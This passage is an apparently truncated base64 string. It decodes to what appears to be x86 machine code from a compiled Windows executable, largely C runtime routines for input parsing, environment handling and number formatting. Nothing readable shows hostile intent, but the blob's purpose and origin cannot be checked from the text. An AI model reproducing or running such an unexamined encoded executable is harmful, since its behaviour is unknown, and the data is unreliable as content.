OUUIdUmLD2oEUDtNDHUu6MRY//9ZWYkHhcB1BDPAXcOLRRDHAAEAAACLBgPAUP91DP836GpA//+DxAzrD1HoL1n//4PEDIXAdNKJB9EmM8BAXcOL/1WL7PdFCAD/AABWdRoPt3UIi8Yl/wAAAFDoFl3//1mFwHQEi8brCg+3RQiD4N+D6AdeXcOL/1WL7Lj//wAAZjtFCHQGXelKZv//XcOL/1WL7Ff/dQj/BugrYv//D7f4uP//AABZZjv4dA5qCFfoz1IAAFlZhcB12maLx19dw4v/VYvsgexIAwAAodAGBRAzxYlF/ItNFItFCFaLdQxXM/+Jjdj8//+NjUD9//+JhSD9//+Jtfz8//+JjRj9///HheT8//9eAQAAib3g/P//ib3c/P//ib3Q/P//ib0w/f//ib3M/P//O/d1GOghOv//xwAWAAAA6HRx//+DyP/pVBEAADvHdOT/dRCNjbz8///oaRv//w+3BsaFHv3//wCJvTj9//+Jvez8//9mO8cPhAoRAABTaghQ6AVSAABZWYXAdE7/tSD9////jTj9////tSD9//+NtTj9///o7f7//w+3wFlQ6Mv+//+Ltfz8//9ZWYPGAg+3BmoIUOjCUQAAWVmFwHXsibX8/P//6a4PAACLtfz8//8PtwZqJVlmO8gPhT4PAABmO04CD4QmDwAAM/+JvQz9//+Jvbj8//+JvRT9//+JvfT8//+JvSj9//+JvfD8///GhQP9//8AxoUd/f//AMaFL/3//wDGhT/9//8AxoUf/f//AMaFN/3//wDGhSf9//8Bib0Q/f//g8YCD7ce98MA/wAAdSwPtsNQ6BFb//9ZhcB0HouFKP3///+F9Pz//2vACo1EGNCJhSj9///pygAAAIP7Tg+PhAAAAA+EuwAAAIP7KnRxg/tGD4StAAAAg/tJdBCD+0x1df6FJ/3//+mYAAAAD7dOAoP5NnUeZoN+BDR1F4PGBP+FEP3//4m9BP3//4m9CP3//+txg/kzdQxmg34EMnUFg8YE62CD+WR0W4P5aXRWg/lvdFGD+Xh0TIP5WHUZ60X+hS/9///rPYP7aHQsg/tsdA2D+3d0Gv6FP/3//+smZoN+Amx1BYPGAuuV/oUn/f///oU3/f//6wz+jSf9///+jTf9//+AvT/9//8AD4Tv/v//gL0v/f//AIm1/Pz//3UZi4XY/P//ixiJhdT8//+DwASJhdj8///rAjPbgL03/f//AImd+Pz//8aFP/3//wB1Gw+3BoP4U3QMxoU3/f//AYP4Q3UHxoU3/f///w+3PoPPIIm96Pz//4P/bnRSg/9jdBiD/3t0E/+1IP3//421OP3//+io/P//6xH/tSD9////hTj9///o0F7//w+3wFm5//8AAImFMP3//2Y7yA+E8g0AAIud+Pz//4u1/Pz//4uN9Pz//4XJdA2DvSj9//8AD4S8DQAAgL0v/f//AHVBg/9jdAqD/3N0BYP/e3Uyi4XU/P//ixiDwASJhdT8//+DwASJhdj8//+LQPyJnfj8//+JhfD8//+D+AEPghANAACD/28PjwYGAAAPhF8JAACD/2MPhNgEAABqZFg7+A+ESwkAAA+OEAYAAIP/Z35Mg/9pdCGD/24Phf0FAACAvS/9//8Ai4U4/f//D4QHDAAA6S4MAACJhej8//+L+IudMP3//2otWGY7ww+FQwcAAMaFHf3//wHpPwcAAGotWDPbZjuFMP3//3UMi40Y/f//ZokBQ+sMaitYZjuFMP3//3Uh/40o/f///7Ug/f///4U4/f//6JRd//8Pt8BZiYUw/f//g730/P//AHUHg40o/f////eFMP3//wD/AAAPhYwAAAAPtoUw/f//UOgKWP//WYXAdHqLhSj9////jSj9//+FwHRqZg++hTD9//+LjRj9////hRT9//9miQRZjYXg/P//UI2FQP3//1BDU429GP3//4215Pz//+gs+v//g8QMhcAPhD4MAAD/tSD9////hTj9///o81z//w+3wFmJhTD9//+pAP8AAA+EdP///4uFvPz//4uAvAAAAItAMA+3MA++jTD9//+LxjvBD4X/AAAAi4Uo/f///40o/f//hcAPhOsAAAD/tSD9////hTj9///ollz//w+3wImFMP3//4uFGP3//2aJNFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6H/5//+DxBCFwA+EkQsAAPeFMP3//wD/AAAPhYsAAAAPtoUw/f//UOjnVv//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Ar5//+DxAyFwA+EHAsAAP+1IP3///+FOP3//+jRW///D7fAWYmFMP3//6kA/wAAD4R1////g70U/f//AA+ElAEAAGplWGY7hTD9//90EGpFWGY7hTD9//8PhXgBAACLhSj9////jSj9//+FwA+EZAEAAIuNGP3//2plWGaJBFmNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6G74//+DxAyFwA+EgAoAAP+1IP3///+FOP3//+g1W///WQ+3wGotWYmFMP3//2Y7yHUuUYuNGP3//1hmiQRZjYXg/P//UI2FQP3//1BDU+gf+P//g8QMhcAPhDEKAADrDGorWGY7hTD9//91M4uFKP3///+NKP3//4XAdQghhSj9///rG/+1IP3///+FOP3//+jAWv//D7fAWYmFMP3///eFMP3//wD/AAAPhYsAAAAPtoUw/f//UOhGVf//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Gn3//+DxAyFwA+EewkAAP+1IP3///+FOP3//+gwWv//D7fAWYmFMP3//6kA/wAAD4R1/////7Ug/f///404/f///7Uw/f//6LH3//+DvRT9//8AWVkPhC8JAACAvS/9//8AD4UfCAAAi7Xk/P//i40Y/f///4Xs/P//M8CNdDYCVmaJBFnofU///4v4WYX/D4T1CAAAjUb/UP+1GP3//1ZXM/ZW6HFSAACDxBQ7xnQSg/gWD4R8CAAAg/giD4RzCAAAjYW8/P//UA++hSf9//9X/7X4/P//SFD/NfwSBRD/FWjiAxD/0Ffo6gf//4PEFOmSBwAAhcl1EP+FKP3//8eF9Pz//wEAAACAvTf9//8AfgfGhR/9//8B/7Ug/f///404/f///7Uw/f//i/Poy/b//1lZg/9jdAb/jfD8//+DvfT8//8AdBSLhSj9////jSj9//+FwA+ExQMAAP+1IP3///+FOP3//+jjWP//D7fQuP//AABZiZUw/f//ZjvCD4SIAwAAg/9jdFKD/3N1E4P6CXIJg/oND4ZwAwAAg/ogdTqD/3sPhWIDAAAPt8KLyDP/g+EHR9Pni43c/P//wegDD74ECA++jQP9//8zwYX4i73o/P//D4QxAwAAgL0v/f//AA+FHAMAAIO98Pz//wAPhGEHAACAvR/9//8AD4S6AgAAZokTg8MCiZ34/P//6SX///+Lx4PocA+ETQMAAIPoAw+E4f7//0hID4RDAwAAg+gDD4Qo+v//g+gDdDOLhTD9//9mOQYPhfIGAAD+jR79//+AvS/9//8AD4UnBgAAi4XU/P//iYXY/P//6RYGAACAvTf9//8AfgfGhR/9//8Bal5YjX4CZjtGAnUKjX4ExoUD/f///4u13Pz//4X2dSVoACAAAOhcTf//WYmF3Pz//4XAD4TQBgAAx4XQ/P//AQAAAIvwaAAgAABqAFboA1f//4PEDGpdWGY7B3UOUFqDxwLGRgsg6ZoAAACLlbj8///pjwAAAA+3wGotWYPHAmY7yHVwZoXSdGsPtw9qXVtmO9l0YIvBg8cCZjvQcwLrBQ+3yovQiY0Q/f//ZjvRcyqLwSvCD7fAD7faiYUM/f//i8uD4QeyAdLii8PB6AMIFDBD/40M/f//deYPt40Q/f//i8GD4QeyAdLiwegDCBQwM9LrEYvIg+EHswHS44vQwegDCBwwD7cHal1ZZjvID4Vi////ZoM/AA+E6wUAAIud+Pz//4m9/Pz//4u96Pz//+lj/f//aitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///obFb//w+32FmJnTD9//9qMFhmO8MPhcgBAAD/tSD9////hTj9///oRVb//1kPt9hqeF6JnTD9//9mO/N0VWpYWGY7w3RNx4UU/f//AQAAADv+dCODvfT8//8AdA7/jSj9//91Bv6FP/3//8eF6Pz//28AAADrXP+1IP3///+NOP3//1PolfP//1lZajBb6UoBAAD/tSD9////hTj9///ozVX//4O99Pz//wAPt9hZiZ0w/f//dBaDrSj9//8Cg70o/f//AX0G/oU//f//ibXo/P//i73o/P//6QUBAACDpRD9//8AUv+18Pz//42FEP3//1NQ6PgiAACDxBCD+CIPhHMEAACLhRD9//+FwA+OTfz//wPYKYXw/P//iZ34/P//6Tr8//+DxgLpMvz///+1IP3///+NOP3//1Lo3vL//1lZO/MPhGEEAACAvS/9//8AD4VRAwAA/4Xs/P//g/9jD4RCAwAAgL0f/f//AHQQi434/P//M8BmiQHpKQMAAIuF+Pz//8YAAOkbAwAAxoUn/f//AYudMP3//2otWGY7w3UJxoUd/f//AesIaitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///omFT//1kPt9iJnTD9//+DvRD9//8AD4RiAQAAgL0//f//AA+FJAEAAIP/eHR4g/9wdHP3wwD/AAAPhfoAAAAPtsNQ6AJP//9ZhcAPhOgAAACD/291LWo4WGY7ww+G1wAAAIuFBP3//4uNCP3//w+kwQPB4AOJhQT9//+JjQj9///rbGoAagr/tQj9////tQT9///oG1L//4mFBP3//4mVCP3//+tJ98MA/wAAD4WHAAAAD7bDUOgTT///WYXAdHmLhQT9//+LjQj9//8PpMEEweAEU4mFBP3//4mNCP3//+gv8f//D7fYWYmdMP3///+FFP3//w+3w4PoMJkBhQT9//8RlQj9//+DvfT8//8AdAj/jSj9//90NP+1IP3///+FOP3//+hzU///D7fYWYmdMP3//+nw/v///7Ug/f///404/f//U+j/8P//WVmAvR39//8AD4QaAQAAi4UE/f//i40I/f//99iD0QD32YmFBP3//4mNCP3//+n2AAAAgL0//f//AA+F2gAAAIP/eHRKg/9wdEX3wwD/AAAPhbAAAAAPtsNQ6KBN//9ZhcAPhJ4AAACD/291F2o4WGY7ww+GjQAAAIuFDP3//8HgA+s+i4UM/f//a8AK6zP3wwD/AAB1bw+2w1Do403//1mFwHRhwaUM/f//BFPoF/D//w+32IuFDP3//1mJnTD9////hRT9//+DvfT8//8AD7fLjUQI0ImFDP3//3QI/40o/f//dDT/tSD9////hTj9///oW1L//w+32FmJnTD9///pOv////+1IP3///+NOP3//1Po5+///1lZgL0d/f//AHQG950M/f//g/9GdQeDpRT9//8Ag70U/f//AA+ESgEAAIC9L/3//wB1Pv+F7Pz//4ud+Pz//4uFDP3//4O9EP3//wB0E4uFBP3//4kDi4UI/f//iUME6xCAvSf9//8AdASJA+sDZokDi7X8/P///oUe/f//g8YCibX8/P//6z5mO8h1CWY7TgJ1A4PGAv+1IP3///+FOP3//+iTUf//D7fAWWaLDoPGAomFMP3//4m1/Pz//2Y7yA+FmwAAALj//wAAZjuFMP3//3UdZoM+JQ+FlgAAAIuF/Pz//2aDeAJuD4WFAAAAi/AP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